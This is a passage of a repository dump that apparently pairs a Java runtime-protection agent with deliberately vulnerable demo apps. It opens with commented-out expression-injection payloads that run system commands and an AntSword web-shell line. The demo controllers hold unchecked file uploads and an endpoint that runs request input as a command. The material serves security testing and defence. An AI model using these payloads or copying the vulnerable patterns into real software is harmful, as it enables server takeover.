--%> 10 | <%--${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("ifconfig").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}--%> 11 | 12 | <%--

JS引擎

--%> 13 | <%--${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('whoami')")}--%> 14 | <%--

JS引擎 - 回显

--%> 15 | <%--${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var runtime = java.lang./**/Runtime./**/getRuntime();var process = runtime.exec(\"hostname\");var inputStream = process.getInputStream();var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");var result = scanner.hasNext() ? scanner.next() : \"\";scanner.close();result;")}--%> 16 | 17 | <%--

蚁剑

--%> 18 | <%--<%out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));%>--%> 19 | 20 |

web路径

21 | ${pageContext.servletContext.getResource("")} 22 | 23 |

环境变量

24 | ${applicationScope} -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/files/FileUploadController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller.files; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RequestParam; 6 | import org.springframework.web.multipart.MultipartFile; 7 | 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import java.io.*; 11 | 12 | import static com.alibaba.fastjson.util.IOUtils.close; 13 | 14 | /** 15 | * @author Whoopsunix 16 | * 17 | */ 18 | @Controller 19 | @RequestMapping("/file/upload") 20 | public class FileUploadController { 21 | 22 | @RequestMapping("/case1") 23 | public void case1(@RequestParam("file") MultipartFile file, HttpServletRequest request, HttpServletResponse response) throws IOException { 24 | String fileName = file.getOriginalFilename(); 25 | 26 | String filePath = FileUtils.getResourcePath() + fileName; 27 | System.out.println(filePath); 28 | InputStream fileContent = file.getInputStream(); 29 | FileOutputStream fileOutputStream = new FileOutputStream(filePath); 30 | byte[] buffer = new byte[1024]; 31 | int bytesRead; 32 | while ((bytesRead = fileContent.read(buffer)) != -1) { 33 | fileOutputStream.write(buffer, 0, bytesRead); 34 | } 35 | } 36 | 37 | @RequestMapping("/case2") 38 | public void case2(@RequestParam("file") MultipartFile file, HttpServletRequest request, HttpServletResponse response) throws IOException { 39 | String fileName = file.getOriginalFilename(); 40 | 41 | String filePath = FileUtils.getResourcePath() + fileName; 42 | // String filePath = FileUtils.getResourcePath() + "2.txt"; 43 | System.out.println(filePath); 44 | File file1 = new File(filePath); 45 | file.transferTo(file1); 46 | } 47 | 48 | 49 | public static byte[] getFromInputStream(InputStream in) throws Exception{ 50 | ByteArrayOutputStream out = new ByteArrayOutputStream(4096); 51 | copy((InputStream)in, (OutputStream)out); 52 | return out.toByteArray(); 53 | } 54 | 55 | public static int copy(InputStream in, OutputStream out) throws IOException { 56 | int var2; 57 | try { 58 | var2 = copy0(in, out); 59 | } finally { 60 | close(in); 61 | close(out); 62 | } 63 | 64 | return var2; 65 | } 66 | 67 | public static int copy0(InputStream in, OutputStream out) throws IOException { 68 | int byteCount = 0; 69 | 70 | int bytesRead; 71 | for(byte[] buffer = new byte[4096]; (bytesRead = in.read(buffer)) != -1; byteCount += bytesRead) { 72 | out.write(buffer, 0, bytesRead); 73 | } 74 | 75 | out.flush(); 76 | return byteCount; 77 | } 78 | 79 | } 80 | -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/files/FileUploadServlet.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.javax.tomcat.servlet.files; 2 | 3 | import org.apache.commons.fileupload.FileItem; 4 | import org.apache.commons.fileupload.disk.DiskFileItemFactory; 5 | import org.apache.commons.fileupload.servlet.ServletFileUpload; 6 | 7 | import javax.servlet.ServletContext; 8 | import javax.servlet.annotation.MultipartConfig; 9 | import javax.servlet.annotation.WebServlet; 10 | import javax.servlet.http.HttpServlet; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | import java.io.File; 14 | import java.util.List; 15 | 16 | /** 17 | * @author Whoopsunix 18 | */ 19 | @MultipartConfig 20 | @WebServlet("/file/upload/case3") 21 | public class FileUploadServlet extends HttpServlet { 22 | @Override 23 | protected void doPost(HttpServletRequest request, HttpServletResponse response) { 24 | // 获取 ServletContext 对象 25 | ServletContext servletContext = getServletContext(); 26 | 27 | // 获取 WEB-INF 目录下的资源路径 28 | String resourcePath = "/WEB-INF/"; 29 | 30 | // 获取资源的真实路径 31 | String uploadPath = servletContext.getRealPath(resourcePath) + "upload/"; 32 | System.out.println(uploadPath); 33 | // 检查是否为文件上传请求 34 | if (ServletFileUpload.isMultipartContent(request)) { 35 | // 创建文件上传处理工厂 36 | DiskFileItemFactory factory = new DiskFileItemFactory(); 37 | 38 | // 设置临时文件存储目录(可选) 39 | // File tempDir = new File("/tmp"); 40 | // factory.setRepository(tempDir); 41 | 42 | // 创建文件上传处理器 43 | ServletFileUpload upload = new ServletFileUpload(factory); 44 | 45 | try { 46 | // 解析请求,获取文件项列表 47 | List items = upload.parseRequest(request); 48 | 49 | // 处理每个文件项 50 | for (FileItem item : items) { 51 | // 检查是否为普通表单字段还是文件项 52 | if (item.isFormField()) { 53 | // 普通表单字段处理 54 | String fieldName = item.getFieldName(); 55 | String fieldValue = item.getString("UTF-8"); 56 | System.out.println(fieldName + ": " + fieldValue); 57 | } else { 58 | // 文件项处理 59 | String fieldName = item.getFieldName(); 60 | String fileName = new File(item.getName()).getName(); 61 | // String fileName = "xxx.txt"; 62 | 63 | // 可以保存文件到指定目录 64 | File uploadedFile = new File(uploadPath + fileName); 65 | item.write(uploadedFile); 66 | 67 | System.out.println("File uploaded: " + fileName); 68 | } 69 | } 70 | 71 | response.getWriter().println("File(s) uploaded successfully!"); 72 | } catch (Exception e) { 73 | e.printStackTrace(); 74 | } 75 | } else { 76 | } 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/utils/FileCopyUtils.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.utils; 2 | 3 | import java.io.*; 4 | import java.nio.file.Files; 5 | 6 | /** 7 | * @author Whoopsunix 8 | */ 9 | public class FileCopyUtils { 10 | public static final int BUFFER_SIZE = 4096; 11 | 12 | public FileCopyUtils() { 13 | } 14 | 15 | public static int copy(File in, File out) throws IOException { 16 | return copy(Files.newInputStream(in.toPath()), Files.newOutputStream(out.toPath())); 17 | } 18 | 19 | public static void copy(byte[] in, File out) throws IOException { 20 | copy((InputStream) (new ByteArrayInputStream(in)), (OutputStream) Files.newOutputStream(out.toPath())); 21 | } 22 | 23 | public static byte[] copyToByteArray(File in) throws IOException { 24 | return copyToByteArray(Files.newInputStream(in.toPath())); 25 | } 26 | 27 | public static int copy(InputStream in, OutputStream out) throws IOException { 28 | int var2; 29 | try { 30 | var2 = StreamUtils.copy(in, out); 31 | } finally { 32 | close(in); 33 | close(out); 34 | } 35 | 36 | return var2; 37 | } 38 | 39 | public static void copy(byte[] in, OutputStream out) throws IOException { 40 | try { 41 | out.write(in); 42 | } finally { 43 | close(out); 44 | } 45 | 46 | } 47 | 48 | public static byte[] copyToByteArray(InputStream in) throws IOException { 49 | if (in == null) { 50 | return new byte[0]; 51 | } else { 52 | ByteArrayOutputStream out = new ByteArrayOutputStream(4096); 53 | copy(in, out); 54 | return out.toByteArray(); 55 | } 56 | } 57 | 58 | public static int copy(Reader in, Writer out) throws IOException { 59 | try { 60 | int charCount = 0; 61 | 62 | int charsRead; 63 | for (char[] buffer = new char[4096]; (charsRead = in.read(buffer)) != -1; charCount += charsRead) { 64 | out.write(buffer, 0, charsRead); 65 | } 66 | 67 | out.flush(); 68 | int var5 = charCount; 69 | return var5; 70 | } finally { 71 | close(in); 72 | close(out); 73 | } 74 | } 75 | 76 | public static void copy(String in, Writer out) throws IOException { 77 | try { 78 | out.write(in); 79 | } finally { 80 | close(out); 81 | } 82 | 83 | } 84 | 85 | public static String copyToString(Reader in) throws IOException { 86 | if (in == null) { 87 | return ""; 88 | } else { 89 | StringWriter out = new StringWriter(4096); 90 | copy((Reader) in, (Writer) out); 91 | return out.toString(); 92 | } 93 | } 94 | 95 | private static void close(Closeable closeable) { 96 | try { 97 | closeable.close(); 98 | } catch (IOException var2) { 99 | } 100 | 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | TomcatDemo 4 | com.ppp.vulns.javax.tomcat 5 | 1.0-SNAPSHOT 6 | 4.0.0 7 | war 8 | TomcatDemo 9 | 10 | 11 | 12 | 13 | com.ppp.vulns.core 14 | vulnsCore 15 | 1.0-SNAPSHOT 16 | 17 | 18 | org.apache.tomcat 19 | tomcat-catalina 20 | 21 | 22 | 23 | 8.5.82 24 | 25 | 26 | 27 | 28 | commons-fileupload 29 | commons-fileupload 30 | 1.5 31 | 32 | 33 | javax.servlet 34 | servlet-api 35 | 2.5 36 | 37 | 38 | javax.servlet.jsp 39 | jsp-api 40 | 2.2 41 | 42 | 43 | 44 | org.apache.commons 45 | commons-collections4 46 | 4.0 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | src/main/java 56 | 57 | **/*.properties 58 | **/*.xml 59 | 60 | 61 | 62 | src/main/resources 63 | 64 | **/*.properties 65 | **/*.xml 66 | 67 | false 68 | 69 | 70 | JavaxTomcatDemo 71 | 72 | 73 | org.apache.maven.plugins 74 | maven-compiler-plugin 75 | 76 | 8 77 | 8 78 | 79 | 80 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/common/RASPManager.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.common; 2 | 3 | import com.alibaba.jvm.sandbox.api.ProcessController; 4 | import com.ppprasp.agent.check.CVEChecker; 5 | import com.ppprasp.agent.common.enums.Status; 6 | import com.ppprasp.agent.hook.source.bundle.HttpBundle; 7 | 8 | import javax.servlet.http.HttpServletResponse; 9 | import java.io.PrintWriter; 10 | import java.util.List; 11 | 12 | /** 13 | * @author Whoopsunix 14 | * 15 | * RASP 控制代码 16 | * 涉及:栈、JVM 操作、输出 17 | */ 18 | public class RASPManager { 19 | 20 | public static void scheduler(Status status, String blockInfo) throws Throwable { 21 | if (status == Status.LOG) { 22 | RASPManager.log(blockInfo); 23 | } else { 24 | RASPManager.throwException(blockInfo); 25 | } 26 | } 27 | 28 | 29 | /** 30 | * 执行拦截 31 | * 32 | * @param blockInfo 33 | * @throws Throwable 34 | */ 35 | public static void throwException(String blockInfo) throws Throwable { 36 | log(blockInfo); 37 | 38 | ProcessController.throwsImmediately(new Exception(blockInfo)); 39 | } 40 | 41 | /** 42 | * 记录 43 | * @param blockInfo 44 | * @throws Throwable 45 | */ 46 | public static void log(String blockInfo) throws Throwable { 47 | // 打印 48 | System.out.println(blockInfo); 49 | 50 | } 51 | 52 | 53 | 54 | 55 | /** 56 | * 打印调用栈 57 | */ 58 | public static void showStackTracer() { 59 | try { 60 | // 打印调用栈 61 | List stackList = StackTracer.getStack(); 62 | System.out.println("[*] Rce Blocked by PPPRASP, stack trace [*]"); 63 | for (String stack : stackList) { 64 | System.out.println(stack); 65 | } 66 | } catch (Exception e) { 67 | 68 | } 69 | } 70 | 71 | /** 72 | * CVE 检测单独提出来 73 | * 74 | */ 75 | public static String showStackTracerWithCVECheck() { 76 | String cve = null; 77 | try { 78 | // 打印调用栈 79 | List stackList = StackTracer.getStack(); 80 | System.out.println("[*] Rce Blocked by PPPRASP, stack trace [*]"); 81 | for (String stack : stackList) { 82 | if (cve == null) 83 | cve = CVEChecker.isCVE(stack); 84 | System.out.println(stack); 85 | } 86 | } catch (Exception e) { 87 | 88 | } 89 | return cve; 90 | 91 | } 92 | 93 | /** 94 | * 修改响应信息 95 | * 96 | */ 97 | public static void changeResponse(HttpBundle httpBundle) { 98 | try { 99 | if (httpBundle == null) 100 | return; 101 | HttpServletResponse response = httpBundle.getResponse(); 102 | response.setStatus(200); 103 | response.setContentType("text/html; charset=UTF-8"); 104 | PrintWriter out = response.getWriter(); 105 | out.println("

Blocked by PPPRASP

"); 106 | } catch (Exception e) { 107 | 108 | } 109 | } 110 | 111 | 112 | 113 | 114 | 115 | 116 | } 117 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/vul/JNIHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.vul; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.common.RASPConfig; 11 | import com.ppprasp.agent.common.RASPContext; 12 | import com.ppprasp.agent.common.RASPManager; 13 | import com.ppprasp.agent.common.enums.Algorithm; 14 | import com.ppprasp.agent.common.enums.Status; 15 | import com.ppprasp.agent.common.enums.VulInfo; 16 | import org.kohsuke.MetaInfServices; 17 | 18 | import javax.annotation.Resource; 19 | 20 | /** 21 | * @author Whoopsunix 22 | *

23 | * JNI 注入 24 | */ 25 | @MetaInfServices(Module.class) 26 | @Information(id = "rasp-jni", author = "Whoopsunix", version = "1.0.0") 27 | public class JNIHook implements Module, ModuleLifecycle { 28 | 29 | @Resource 30 | private ModuleEventWatcher moduleEventWatcher; 31 | 32 | public void checkStatement() { 33 | Status status = RASPConfig.getAlgoStatus(Algorithm.JNI.getAlgoId(), Algorithm.JNI.getAlgoName()); 34 | if (status == null || status == Status.CLOSE) 35 | return; 36 | try { 37 | String className = "java.lang.ClassLoader"; 38 | String methodName = "loadLibrary0"; 39 | new EventWatchBuilder(moduleEventWatcher) 40 | .onClass(className) 41 | .includeBootstrap() 42 | .onBehavior(methodName) 43 | .onWatch(new AdviceListener() { 44 | @Override 45 | protected void before(Advice advice) throws Throwable { 46 | String filePath = advice.getParameterArray()[1].toString(); 47 | // todo 针对路径进行更进一步的防护 48 | 49 | RASPContext.Context context = RASPContext.getContext(); 50 | if (context != null) { 51 | RASPManager.showStackTracer(); 52 | RASPManager.changeResponse(context.getHttpBundle()); 53 | String blockInfo = String.format("[!] %s Blocked by PPPRASP, file path %s [!]", VulInfo.JNI.getDescription(), filePath); 54 | 55 | RASPManager.scheduler(status, blockInfo); 56 | } 57 | super.before(advice); 58 | } 59 | 60 | }); 61 | } catch (Exception e) { 62 | 63 | } 64 | } 65 | 66 | @Override 67 | public void onLoad() throws Throwable { 68 | 69 | } 70 | 71 | @Override 72 | public void onUnload() throws Throwable { 73 | 74 | } 75 | 76 | @Override 77 | public void onActive() throws Throwable { 78 | 79 | } 80 | 81 | @Override 82 | public void onFrozen() throws Throwable { 83 | 84 | } 85 | 86 | @Override 87 | public void loadCompleted() { 88 | checkStatement(); 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/source/HttpHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.source; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.common.RASPContext; 11 | import com.ppprasp.agent.hook.source.bundle.HttpBundle; 12 | import com.ppprasp.agent.utils.InterfaceProxyUtils; 13 | import org.kohsuke.MetaInfServices; 14 | 15 | import javax.annotation.Resource; 16 | import javax.servlet.http.HttpServletRequest; 17 | import javax.servlet.http.HttpServletResponse; 18 | 19 | /** 20 | * @author Whoopsunix 21 | * 22 | * http Servlet 请求 23 | */ 24 | @MetaInfServices(Module.class) 25 | @Information(id = "rasp-http", author = "Whoopsunix", version = "1.0.0") 26 | public class HttpHook implements Module, ModuleLifecycle { 27 | @Resource 28 | private ModuleEventWatcher moduleEventWatcher; 29 | 30 | protected HttpBundle wrapperHttpBundle(Advice advice) { 31 | // 俘虏傀儡 HttpServletRequest 参数 32 | final HttpServletRequest request = InterfaceProxyUtils.puppet(HttpServletRequest.class, advice.getParameterArray()[0]); 33 | final HttpServletResponse response = InterfaceProxyUtils.puppet(HttpServletResponse.class, advice.getParameterArray()[1]); 34 | 35 | return new HttpBundle(request, response); 36 | } 37 | 38 | public void getServletAccess() { 39 | try { 40 | String className = "javax.servlet.http.HttpServlet"; 41 | String methodName = "service"; 42 | new EventWatchBuilder(moduleEventWatcher) 43 | .onClass(className) 44 | .includeSubClasses() 45 | .onBehavior(methodName) 46 | .withParameterTypes("javax.servlet.http.HttpServletRequest", "javax.servlet.http.HttpServletResponse") 47 | .onWatch(new AdviceListener() { 48 | @Override 49 | protected void before(Advice advice) throws Throwable { 50 | // 只关心顶层调用 51 | if (!advice.isProcessTop()) { 52 | return; 53 | } 54 | 55 | HttpBundle httpBundle = wrapperHttpBundle(advice); 56 | 57 | RASPContext.Context context = new RASPContext.Context(); 58 | context.setHttpBundle(httpBundle); 59 | RASPContext.set(context); 60 | 61 | super.before(advice); 62 | } 63 | }); 64 | } catch (Exception e) { 65 | 66 | } 67 | } 68 | 69 | @Override 70 | public void onLoad() throws Throwable { 71 | 72 | } 73 | 74 | @Override 75 | public void onUnload() throws Throwable { 76 | 77 | } 78 | 79 | @Override 80 | public void onActive() throws Throwable { 81 | 82 | } 83 | 84 | @Override 85 | public void onFrozen() throws Throwable { 86 | 87 | } 88 | 89 | @Override 90 | public void loadCompleted() { 91 | getServletAccess(); 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/vul/SqlHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.vul; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.check.SqlChecker; 11 | import com.ppprasp.agent.common.RASPConfig; 12 | import com.ppprasp.agent.common.RASPContext; 13 | import com.ppprasp.agent.common.RASPManager; 14 | import com.ppprasp.agent.common.enums.Algorithm; 15 | import com.ppprasp.agent.common.enums.Status; 16 | import com.ppprasp.agent.common.enums.VulInfo; 17 | import org.kohsuke.MetaInfServices; 18 | 19 | import javax.annotation.Resource; 20 | 21 | /** 22 | * @author Whoopsunix 23 | * 24 | * SQL 注入 25 | */ 26 | @MetaInfServices(Module.class) 27 | @Information(id = "rasp-sql", author = "Whoopsunix", version = "1.0.0") 28 | public class SqlHook implements Module, ModuleLifecycle { 29 | 30 | @Resource 31 | private ModuleEventWatcher moduleEventWatcher; 32 | 33 | /** 34 | * mysql com.mysql.cj.jdbc.StatementImpl 查询 35 | */ 36 | public void checkStatement() { 37 | Status status = RASPConfig.getAlgoStatus(Algorithm.SQLMYSQL.getAlgoId(), Algorithm.SQLMYSQL.getAlgoName()); 38 | if (status == null || status == Status.CLOSE) 39 | return; 40 | try { 41 | String className = "com.mysql.cj.jdbc.StatementImpl"; 42 | new EventWatchBuilder(moduleEventWatcher) 43 | .onClass(className) 44 | .includeBootstrap() 45 | .onBehavior("execute") 46 | .onBehavior("executeQuery") 47 | .onBehavior("executeUpdate") 48 | .onBehavior("addBatch") // 批量 49 | .onWatch(new AdviceListener() { 50 | @Override 51 | protected void before(Advice advice) throws Throwable { 52 | RASPContext.Context context = RASPContext.getContext(); 53 | String sql = (String) advice.getParameterArray()[0]; 54 | if (context != null && sql != null && SqlChecker.isDangerous(sql)) { 55 | RASPManager.showStackTracer(); 56 | RASPManager.changeResponse(context.getHttpBundle()); 57 | String blockInfo = String.format("[!] %s Blocked by PPPRASP, %s [!]", VulInfo.SQL.getDescription(), sql); 58 | 59 | RASPManager.scheduler(status, blockInfo); 60 | 61 | } 62 | super.before(advice); 63 | } 64 | 65 | }); 66 | } catch (Exception e) { 67 | 68 | } 69 | } 70 | 71 | @Override 72 | public void onLoad() throws Throwable { 73 | 74 | } 75 | 76 | @Override 77 | public void onUnload() throws Throwable { 78 | 79 | } 80 | 81 | @Override 82 | public void onActive() throws Throwable { 83 | 84 | } 85 | 86 | @Override 87 | public void onFrozen() throws Throwable { 88 | 89 | } 90 | 91 | @Override 92 | public void loadCompleted() { 93 | checkStatement(); 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/vul/FileDirectoryHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.vul; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.common.RASPConfig; 11 | import com.ppprasp.agent.common.RASPContext; 12 | import com.ppprasp.agent.common.RASPManager; 13 | import com.ppprasp.agent.common.enums.Algorithm; 14 | import com.ppprasp.agent.common.enums.Status; 15 | import com.ppprasp.agent.common.enums.VulInfo; 16 | import com.ppprasp.agent.utils.Reflections; 17 | import org.kohsuke.MetaInfServices; 18 | 19 | import javax.annotation.Resource; 20 | 21 | /** 22 | * @author Whoopsunix 23 | *

24 | * 文件漏洞 路径遍历 25 | */ 26 | @MetaInfServices(Module.class) 27 | @Information(id = "rasp-file-directory", author = "Whoopsunix", version = "1.0.0") 28 | public class FileDirectoryHook implements Module, ModuleLifecycle { 29 | 30 | @Resource 31 | private ModuleEventWatcher moduleEventWatcher; 32 | 33 | public void checkIOList() { 34 | Status status = RASPConfig.getAlgoStatus(Algorithm.FileDirectory.getAlgoId(), Algorithm.FileDirectory.getAlgoName()); 35 | if (status == null || status == Status.CLOSE) 36 | return; 37 | 38 | ioList("java.io.File", "list", status); 39 | ioList("java.io.File", "normalizedList", status); 40 | } 41 | 42 | public void ioList(String className, String methodName, Status status) { 43 | try { 44 | new EventWatchBuilder(moduleEventWatcher) 45 | .onClass(className) 46 | .includeBootstrap() 47 | .onBehavior(methodName) 48 | .onWatch(new AdviceListener() { 49 | @Override 50 | protected void before(Advice advice) throws Throwable { 51 | RASPContext.Context context = RASPContext.getContext(); 52 | if (context != null) { 53 | // 这个为常用方法 所以先判断是否为顶层调用 减少不必要的反射 54 | Object file = advice.getTarget(); 55 | Object path = Reflections.getFieldValue(file, "path"); 56 | RASPManager.showStackTracer(); 57 | RASPManager.changeResponse(context.getHttpBundle()); 58 | String blockInfo = String.format("[!] %s Blocked by PPPRASP,%s.%s() file path is %s [!]", VulInfo.FileDirectory.getDescription(), className, methodName, path); 59 | 60 | RASPManager.scheduler(status, blockInfo); 61 | } 62 | super.before(advice); 63 | } 64 | 65 | }); 66 | } catch (Exception e) { 67 | 68 | } 69 | } 70 | 71 | @Override 72 | public void onLoad() throws Throwable { 73 | 74 | } 75 | 76 | @Override 77 | public void onUnload() throws Throwable { 78 | 79 | } 80 | 81 | @Override 82 | public void onActive() throws Throwable { 83 | 84 | } 85 | 86 | @Override 87 | public void onFrozen() throws Throwable { 88 | 89 | } 90 | 91 | @Override 92 | public void loadCompleted() { 93 | checkIOList(); 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/vul/JNDIHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.vul; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.common.RASPConfig; 11 | import com.ppprasp.agent.common.RASPContext; 12 | import com.ppprasp.agent.common.RASPManager; 13 | import com.ppprasp.agent.common.enums.Algorithm; 14 | import com.ppprasp.agent.common.enums.Status; 15 | import com.ppprasp.agent.common.enums.VulInfo; 16 | import org.kohsuke.MetaInfServices; 17 | 18 | import javax.annotation.Resource; 19 | 20 | /** 21 | * @author Whoopsunix 22 | * 23 | * JNDI 注入 24 | */ 25 | @MetaInfServices(Module.class) 26 | @Information(id = "rasp-jndi", author = "Whoopsunix", version = "1.0.0") 27 | public class JNDIHook implements Module, ModuleLifecycle { 28 | 29 | @Resource 30 | private ModuleEventWatcher moduleEventWatcher; 31 | 32 | public void checkNaming() { 33 | Status status = RASPConfig.getAlgoStatus(Algorithm.JNDI.getAlgoId(), Algorithm.JNDI.getAlgoName()); 34 | if (status == null || status == Status.CLOSE) 35 | return; 36 | 37 | try { 38 | // 接口 39 | String className = "javax.naming.Context"; 40 | String methodName = "lookup"; 41 | new EventWatchBuilder(moduleEventWatcher) 42 | .onClass(className) 43 | .includeBootstrap() 44 | .includeSubClasses() 45 | .onBehavior(methodName) 46 | .onWatch(new AdviceListener() { 47 | @Override 48 | protected void before(Advice advice) throws Throwable { 49 | String url = (String) advice.getParameterArray()[0]; 50 | 51 | RASPContext.Context context = RASPContext.getContext(); 52 | if (context != null) { 53 | String cve = RASPManager.showStackTracerWithCVECheck(); 54 | RASPManager.changeResponse(context.getHttpBundle()); 55 | String blockInfo; 56 | if (cve != null) { 57 | blockInfo = String.format("[!] %s Blocked by PPPRASP %s, triggered by %s [!]", VulInfo.JNDI.getDescription(), url, cve); 58 | } else { 59 | blockInfo = String.format("[!] %s Blocked by PPPRASP %s [!]", url, VulInfo.JNDI.getDescription()); 60 | } 61 | 62 | RASPManager.scheduler(status, blockInfo); 63 | } 64 | 65 | super.before(advice); 66 | } 67 | 68 | }); 69 | } catch (Exception e) { 70 | 71 | } 72 | } 73 | 74 | @Override 75 | public void onLoad() throws Throwable { 76 | 77 | } 78 | 79 | @Override 80 | public void onUnload() throws Throwable { 81 | 82 | } 83 | 84 | @Override 85 | public void onActive() throws Throwable { 86 | 87 | } 88 | 89 | @Override 90 | public void onFrozen() throws Throwable { 91 | 92 | } 93 | 94 | @Override 95 | public void loadCompleted() { 96 | checkNaming(); 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/ExecController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller; 2 | 3 | import com.ppp.vulns.core.vulns.Exec; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.bind.annotation.ResponseBody; 7 | 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import java.io.IOException; 11 | 12 | /** 13 | * @author Whoopsunix 14 | */ 15 | @Controller 16 | @RequestMapping("/exec") 17 | public class ExecController { 18 | @RequestMapping("/case1") 19 | @ResponseBody 20 | public Object case1(HttpServletRequest request, HttpServletResponse response) throws IOException { 21 | try { 22 | String str = request.getParameter("str"); 23 | System.out.println(str); 24 | 25 | String result = Exec.runtime(str); 26 | 27 | return result; 28 | } catch (Exception e) { 29 | e.printStackTrace(); 30 | } 31 | return null; 32 | } 33 | 34 | @RequestMapping("/case2") 35 | @ResponseBody 36 | public Object case2(HttpServletRequest request, HttpServletResponse response) throws IOException { 37 | try { 38 | String str = request.getParameter("str"); 39 | System.out.println(str); 40 | 41 | String result = Exec.thread(str); 42 | 43 | return result; 44 | } 